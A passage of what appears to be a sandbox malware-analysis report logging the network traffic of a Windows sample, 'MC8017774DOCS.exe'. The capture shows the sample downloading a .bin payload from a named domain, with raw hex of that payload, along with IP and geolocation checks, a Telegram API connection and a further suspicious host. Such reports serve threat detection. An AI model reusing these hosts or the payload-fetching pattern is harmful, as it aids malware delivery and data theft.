Nov 25, 2024 07:10:06.607743979 CET	49846	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:06.728499889 CET	80	49846	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:06.728588104 CET	49846	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:06.728753090 CET	49846	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:06.848239899 CET	80	49846	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:09.312534094 CET	80	49846	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:09.314323902 CET	49852	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:09.314387083 CET	443	49852	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:09.314770937 CET	49852	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:09.315450907 CET	49852	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:09.315468073 CET	443	49852	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:09.363933086 CET	49846	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:10.623887062 CET	443	49852	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:10.625988960 CET	49852	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:10.626013994 CET	443	49852	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:11.085382938 CET	443	49852	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:11.085469961 CET	443	49852	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:11.085525990 CET	49852	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:11.086040020 CET	49852	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:11.089905977 CET	49846	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:11.091133118 CET	49858	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:11.209732056 CET	80	49846	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:11.209817886 CET	49846	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:11.210609913 CET	80	49858	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:11.210695028 CET	49858	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:11.210953951 CET	49858	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:11.330387115 CET	80	49858	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:12.638983011 CET	80	49858	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:12.640631914 CET	49862	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:12.640685081 CET	443	49862	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:12.640850067 CET	49862	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:12.641283989 CET	49862	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:12.641302109 CET	443	49862	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:12.689860106 CET	49858	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:13.853091002 CET	443	49862	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:13.854945898 CET	49862	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:13.854974031 CET	443	49862	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:14.299191952 CET	443	49862	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:14.299403906 CET	443	49862	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:14.299484968 CET	49862	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:14.300009012 CET	49862	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:14.304986000 CET	49858	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:14.306258917 CET	49866	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:14.425034046 CET	80	49858	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:14.425103903 CET	49858	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:14.425895929 CET	80	49866	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:14.425962925 CET	49866	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:14.426227093 CET	49866	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:14.545658112 CET	80	49866	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:16.424850941 CET	80	49866	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:16.425348997 CET	80	49866	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:16.426281929 CET	49871	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:16.426321983 CET	443	49871	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:16.426331997 CET	49866	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:16.426394939 CET	49871	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:16.426666975 CET	49871	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:16.426682949 CET	443	49871	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:17.642055035 CET	443	49871	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:17.644058943 CET	49871	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:17.644083023 CET	443	49871	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:18.087543011 CET	443	49871	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:18.087611914 CET	443	49871	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:18.087694883 CET	49871	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:18.095451117 CET	49871	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:18.100449085 CET	49866	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:18.101907969 CET	49877	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:18.220212936 CET	80	49866	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:18.220280886 CET	49866	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:18.221287966 CET	80	49877	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:18.221379995 CET	49877	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:18.221563101 CET	49877	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:18.341033936 CET	80	49877	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:19.680177927 CET	80	49877	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:19.682008982 CET	49882	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:19.682061911 CET	443	49882	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:19.682471037 CET	49882	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:19.682791948 CET	49882	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:19.682809114 CET	443	49882	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:19.721112967 CET	49877	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:20.984571934 CET	443	49882	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:20.987107038 CET	49882	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:20.987142086 CET	443	49882	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:21.453036070 CET	443	49882	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:21.453164101 CET	443	49882	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:21.453219891 CET	49882	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:21.453742981 CET	49882	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:21.458446980 CET	49877	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:21.459945917 CET	49885	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:21.578166962 CET	80	49877	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:21.578248024 CET	49877	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:21.579426050 CET	80	49885	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:21.579511881 CET	49885	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:21.579725981 CET	49885	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:21.699167013 CET	80	49885	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:22.979583025 CET	80	49885	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:23.011063099 CET	49890	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:23.011113882 CET	443	49890	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:23.011189938 CET	49890	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:23.011502028 CET	49890	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:23.011513948 CET	443	49890	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:23.033601046 CET	49885	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:24.267637968 CET	443	49890	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:24.270216942 CET	49890	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:24.270241976 CET	443	49890	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:24.722225904 CET	443	49890	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:24.722301960 CET	443	49890	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:24.722460985 CET	49890	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:24.723114967 CET	49890	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:24.726216078 CET	49885	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:24.727279902 CET	49896	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:24.846170902 CET	80	49885	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:24.846327066 CET	49885	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:24.846823931 CET	80	49896	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:24.846921921 CET	49896	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:24.847112894 CET	49896	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:24.966542959 CET	80	49896	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:26.655838966 CET	80	49896	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:26.657438993 CET	49902	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:26.657495022 CET	443	49902	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:26.657569885 CET	49902	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:26.657891035 CET	49902	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:26.657903910 CET	443	49902	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:26.705472946 CET	49896	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:27.959510088 CET	443	49902	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:27.961266041 CET	49902	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:27.961304903 CET	443	49902	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:28.422044992 CET	443	49902	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:28.422115088 CET	443	49902	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:28.422163963 CET	49902	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:28.423037052 CET	49902	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:28.474313021 CET	49896	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:28.594543934 CET	80	49896	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:28.594620943 CET	49896	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:28.613492966 CET	49907	443	192.168.2.6	149.154.167.220
Nov 25, 2024 07:10:28.613533020 CET	443	49907	149.154.167.220	192.168.2.6
Nov 25, 2024 07:10:28.613610029 CET	49907	443	192.168.2.6	149.154.167.220
Nov 25, 2024 07:10:28.614248037 CET	49907	443	192.168.2.6	149.154.167.220
Nov 25, 2024 07:10:28.614264011 CET	443	49907	149.154.167.220	192.168.2.6
Nov 25, 2024 07:10:30.277883053 CET	443	49907	149.154.167.220	192.168.2.6
Nov 25, 2024 07:10:30.277996063 CET	49907	443	192.168.2.6	149.154.167.220
Nov 25, 2024 07:10:30.280361891 CET	49907	443	192.168.2.6	149.154.167.220
Nov 25, 2024 07:10:30.280388117 CET	443	49907	149.154.167.220	192.168.2.6
Nov 25, 2024 07:10:30.280659914 CET	443	49907	149.154.167.220	192.168.2.6
Nov 25, 2024 07:10:30.282289982 CET	49907	443	192.168.2.6	149.154.167.220
Nov 25, 2024 07:10:30.327332973 CET	443	49907	149.154.167.220	192.168.2.6
Nov 25, 2024 07:10:30.799941063 CET	443	49907	149.154.167.220	192.168.2.6
Nov 25, 2024 07:10:30.800024986 CET	443	49907	149.154.167.220	192.168.2.6
Nov 25, 2024 07:10:30.800345898 CET	49907	443	192.168.2.6	149.154.167.220
Nov 25, 2024 07:10:30.804508924 CET	49907	443	192.168.2.6	149.154.167.220
Nov 25, 2024 07:10:36.607127905 CET	49826	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:37.648421049 CET	49928	80	192.168.2.6	5.182.211.149
Nov 25, 2024 07:10:37.767915010 CET	80	49928	5.182.211.149	192.168.2.6
Nov 25, 2024 07:10:37.768013954 CET	49928	80	192.168.2.6	5.182.211.149
Nov 25, 2024 07:10:37.774224997 CET	49928	80	192.168.2.6	5.182.211.149
Nov 25, 2024 07:10:37.779309988 CET	49928	80	192.168.2.6	5.182.211.149
Nov 25, 2024 07:10:37.893676996 CET	80	49928	5.182.211.149	192.168.2.6
Nov 25, 2024 07:10:37.898782015 CET	80	49928	5.182.211.149	192.168.2.6
Nov 25, 2024 07:10:37.898859024 CET	80	49928	5.182.211.149	192.168.2.6
Nov 25, 2024 07:10:39.098196983 CET	80	49928	5.182.211.149	192.168.2.6
Nov 25, 2024 07:10:39.143002033 CET	49928	80	192.168.2.6	5.182.211.149
Nov 25, 2024 07:10:43.918637037 CET	80	49928	5.182.211.149	192.168.2.6
Nov 25, 2024 07:10:43.918709040 CET	49928	80	192.168.2.6	5.182.211.149

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 07:09:49.646096945 CET	59259	53	192.168.2.6	1.1.1.1
Nov 25, 2024 07:09:49.922653913 CET	53	59259	1.1.1.1	192.168.2.6
Nov 25, 2024 07:09:52.815150976 CET	55428	53	192.168.2.6	1.1.1.1
Nov 25, 2024 07:09:52.952358007 CET	53	55428	1.1.1.1	192.168.2.6
Nov 25, 2024 07:09:55.387236118 CET	51028	53	192.168.2.6	1.1.1.1
Nov 25, 2024 07:09:55.524797916 CET	53	51028	1.1.1.1	192.168.2.6
Nov 25, 2024 07:10:28.475227118 CET	56235	53	192.168.2.6	1.1.1.1
Nov 25, 2024 07:10:28.612538099 CET	53	56235	1.1.1.1	192.168.2.6
Nov 25, 2024 07:10:37.034605026 CET	52552	53	192.168.2.6	1.1.1.1
Nov 25, 2024 07:10:37.617105961 CET	53	52552	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 07:09:49.646096945 CET	192.168.2.6	1.1.1.1	0x76c5	Standard query (0)	mertvinc.com.tr	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:52.815150976 CET	192.168.2.6	1.1.1.1	0x5741	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:55.387236118 CET	192.168.2.6	1.1.1.1	0xad84	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:10:28.475227118 CET	192.168.2.6	1.1.1.1	0x2501	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:10:37.034605026 CET	192.168.2.6	1.1.1.1	0xb3f7	Standard query (0)	the.drillmmcsnk.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 07:09:49.922653913 CET	1.1.1.1	192.168.2.6	0x76c5	No error (0)	mertvinc.com.tr		185.244.144.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:52.952358007 CET	1.1.1.1	192.168.2.6	0x5741	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:09:52.952358007 CET	1.1.1.1	192.168.2.6	0x5741	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:52.952358007 CET	1.1.1.1	192.168.2.6	0x5741	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:52.952358007 CET	1.1.1.1	192.168.2.6	0x5741	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:52.952358007 CET	1.1.1.1	192.168.2.6	0x5741	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:52.952358007 CET	1.1.1.1	192.168.2.6	0x5741	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:55.524797916 CET	1.1.1.1	192.168.2.6	0xad84	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:09:55.524797916 CET	1.1.1.1	192.168.2.6	0xad84	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:10:28.612538099 CET	1.1.1.1	192.168.2.6	0x2501	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:10:37.617105961 CET	1.1.1.1	192.168.2.6	0xb3f7	No error (0)	the.drillmmcsnk.top		5.182.211.149	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

mertvinc.com.tr

checkip.dyndns.org

the.drillmmcsnk.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49801	185.244.144.68	80	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:09:50.048825026 CET	183	OUT	GET /pqvBgXvmocLIihvW108.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: mertvinc.com.tr Cache-Control: no-cache
Nov 25, 2024 07:09:51.498241901 CET	299	IN	HTTP/1.1 200 OK Connection: Keep-Alive Content-Type: application/octet-stream Last-Modified: Mon, 18 Nov 2024 08:52:07 GMT Etag: "32c40-673b0037-3f132ea2915fd050;;;" Accept-Ranges: bytes Content-Length: 207936 Date: Mon, 25 Nov 2024 05:16:15 GMT Server: LiteSpeed X-Powered-By: PleskLin
Nov 25, 2024 07:09:51.498260021 CET	1236	IN	Data Raw: 46 62 0e 91 09 b9 db 6a 92 8a 1a 83 48 ab 9b 89 9f de e0 f4 c7 b0 1b 8b ef 03 28 a6 ff 5d 8d 36 d9 1d 77 da a9 b0 c0 a8 02 7b 18 74 ec aa 83 85 71 6e 3e cd f2 f4 1c c9 ce de 49 88 a2 cd 91 37 a5 cf 34 a3 b1 40 60 24 84 57 98 a8 47 e7 e0 c2 95 dd Data Ascii: FbjH(]6w{tqn>I74@`$WGf`F?hDbcBLfP@Ks-glQ)Lhcr~wAch&GZC-?c1gkXDlW>rY?qJ$W+7'G&
Nov 25, 2024 07:09:51.498272896 CET	1236	IN	Data Raw: e4 81 0c 51 12 ff 46 32 2e 7d d8 11 45 f3 56 85 ea 70 72 40 dc e4 48 57 c9 44 aa 72 ae 67 13 38 61 c7 5a 82 b6 d3 a5 ff 98 5f d4 c0 fe 8d 52 ae 34 2d 07 b4 6d c4 93 75 13 fb c4 5f 84 45 a7 1e c0 fe c5 a0 3a 32 93 a0 68 f0 53 29 d6 5b 44 23 3d aa Data Ascii: QF2.}EVpr@HWDrg8aZ_R4-mu_E:2hS)[D#=XFqPhMK<H`N{j&B/Jcu*>$\|#~kFYXtv+qxk~CfP35IcBNH]ZYwm~&
Nov 25, 2024 07:09:51.500376940 CET	328	IN	Data Raw: 8f 33 5a 71 75 83 5c be 17 66 45 d9 95 70 5f f0 e9 53 95 33 d1 17 e3 3a 00 c2 56 32 83 4c 69 dc c5 2c fe 3d b8 1c 67 8a 73 a7 09 e4 80 4d a9 ae 88 27 03 9c 8b c2 5c af 2e 21 1f 7c 7b 8b 47 17 c8 09 fd e4 6f c0 08 50 d8 dc 54 ce 44 29 54 ad f8 68 Data Ascii: 3Zqu\fEp_S3:V2Li,=gsM'\.!\|{GoPTD)ThQp?UPR\|'Zm!qYX%.btjmj^"}Fctq77Q<}z/JdqY{/;D -vuEdw3"z{SkDf
Nov 25, 2024 07:09:51.603843927 CET	1236	IN	Data Raw: 7b fe 37 63 76 02 15 ee df 4c 06 d3 15 65 24 64 31 50 e4 4b 2c d7 81 55 83 91 bd 48 a7 9f 44 a0 c6 e1 4d a1 e0 cb f5 ea 7a 85 cc ab 71 15 20 55 e6 5c 3f 30 5e a0 fa e0 9c d4 ce 07 d0 85 5f d9 06 8d ee 8f 25 2b bc 80 67 72 97 62 23 2f e5 21 6b 93 Data Ascii: {7cvLe$d1PK,UHDMzq U\?0^_%+grb#/!k\|T0B]?<>]TP>{}6y=lIm99nvO~rE^I,*fcY18L[G1Ve/\&P_{'N+Rn$
Nov 25, 2024 07:09:51.603879929 CET	1236	IN	Data Raw: c5 7f 2a 56 77 6a af 5c dd 11 7e 03 b5 9b d7 13 ef 64 14 be 46 a2 80 50 d0 bb 4d 07 29 c2 a9 c1 96 cf fd 44 16 50 8a 73 db e2 e4 44 0d 05 9f 1a 29 8d d3 e8 ae 7a ce a1 30 9e 51 9a ab 10 6a 5e f3 52 ea 28 0c e5 68 0c e4 6b de 2a 1b ec 56 1f 2f 1b Data Ascii: Vwj\~dFPM)DPsD)z0Qj^R(hkV/gyR9B%li68>:Kp38W#WE>Dpq6yrk)l`&fwAK(&>V@jV`Zu$X<v-P?`Fvs\|Tj44J
Nov 25, 2024 07:09:51.617614031 CET	1236	IN	Data Raw: 87 f7 c7 a6 60 a4 11 e3 6e fc 3c a7 cd eb 99 42 b7 1f a6 90 62 86 8d f9 93 38 e6 05 ae 5b 60 5b dd a4 8f ab 2f bf cb ad 66 8e dd 64 fa aa 40 ab a0 14 64 b4 33 23 37 8e 7d 1f 05 28 75 76 44 30 8f 4c 10 a2 68 c3 ee 82 86 ee 62 07 31 23 d0 94 ec 3b Data Ascii: `n<Bb8[`[/fd@d3#7}(uvD0Lhb1#;d"E]=iUOr=&*G)_{5&oTv%qS!.9ms9C\=UCNz4MUmp/P-g28MSN\
Nov 25, 2024 07:09:51.617628098 CET	492	IN	Data Raw: 40 b7 55 75 ab a0 2b 52 c9 c6 04 1c b7 30 3e fd 22 11 be b6 bf 7b d4 12 fa b7 48 cc e7 bf 56 52 ba 57 3c 74 06 89 e7 b4 74 a2 ae 00 eb 87 bb 1d 93 ee f6 39 fb 3a 9f 0c 9f 41 82 4b 9a 06 7b 83 25 24 6b 90 c4 7b ac 61 e5 c2 03 e8 62 f6 94 21 be 75 Data Ascii: @Uu+R0>"{HVRW<tt9:AK{%$k{ab!u["[~2H0!,n@v;nQ=5(Z%-Dv5DcmzG(PB(t+j&$!,**VK=P&-SRC("^m,}>
Nov 25, 2024 07:09:51.619843960 CET	1236	IN	Data Raw: 44 32 1b 9d d8 86 2d 2d a4 e5 2f e3 9d 9b ec 4a 7f ab 44 5c 1c 97 5d d6 8a 65 9c 27 81 76 39 c9 a1 e1 c8 97 e8 34 1b 6f 7d cb 9d 92 4f 81 cb 93 3a 27 9a 7e d2 29 a7 e4 06 cc 4d d1 4a be ee 33 4a 33 0c 85 27 98 c2 14 d8 74 6c 4a fe 3a 7c 0f 6c 46 Data Ascii: D2--/JD\]e'v94o}O:'~)MJ3J3'tlJ:\|lF0s8UZq>i'nLxpl]*&!\KQKqN}.g\s8#$P]2R[6h>y1 HwK+t
Nov 25, 2024 07:09:51.723620892 CET	1236	IN	Data Raw: 5d 68 0f b8 c7 e9 72 04 aa df 16 57 a7 68 21 e7 e3 e4 6b 5c 41 58 15 be 3d 2c 21 aa 1d 0d 8f 2f a3 c9 f6 a8 dd 2f fa 0a fb 26 8f 8b c8 73 a1 b6 0e 76 82 76 f3 de 7f 68 31 c5 32 e7 d5 e5 d0 a0 95 14 c4 f4 8e 09 a7 30 ab 8d 15 ff da cc da a5 04 a7 Data Ascii: ]hrWh!k\AX=,!//&svvh120k\|,]n17_nC:rdOGE\|yWva{-M^eYY]cvFFOi2E\@`(b!)%\`uf]7nV?Ah<%we@U\|7!x/e52f7{
Nov 25, 2024 07:09:51.724009037 CET	1236	IN	Data Raw: 63 8b 61 cd 5a 46 2e ad 3a 4b 0e 4c 66 db 06 e3 c8 1d 71 a5 a9 3e c3 6c 51 a4 55 f7 be 62 c1 b3 aa ad c5 54 98 66 3e 23 e0 0b 02 74 98 85 d7 b5 a1 a6 52 e1 08 b8 75 3f fa 56 0f 52 e6 ff 72 6e 1d 0a bf f3 10 c2 ad ae e2 b4 1f 84 d0 cf ea 56 10 7e Data Ascii: caZF.:KLfq>lQUbTf>#tRu?VRrnV~87(lG.b54"O}.Z,[c440[N([-quV2o?^T#)1C5=5u>)HvD-e\BUa.S8\|f$`KX"fHz8F52b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49808	132.226.8.169	80	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:09:53.078775883 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:09:54.536580086 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:54 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 25, 2024 07:09:54.549007893 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 25, 2024 07:09:55.056010008 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:54 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 25, 2024 07:09:57.234265089 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 25, 2024 07:09:57.739171028 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:57 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49826	132.226.8.169	80	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:09:59.650675058 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
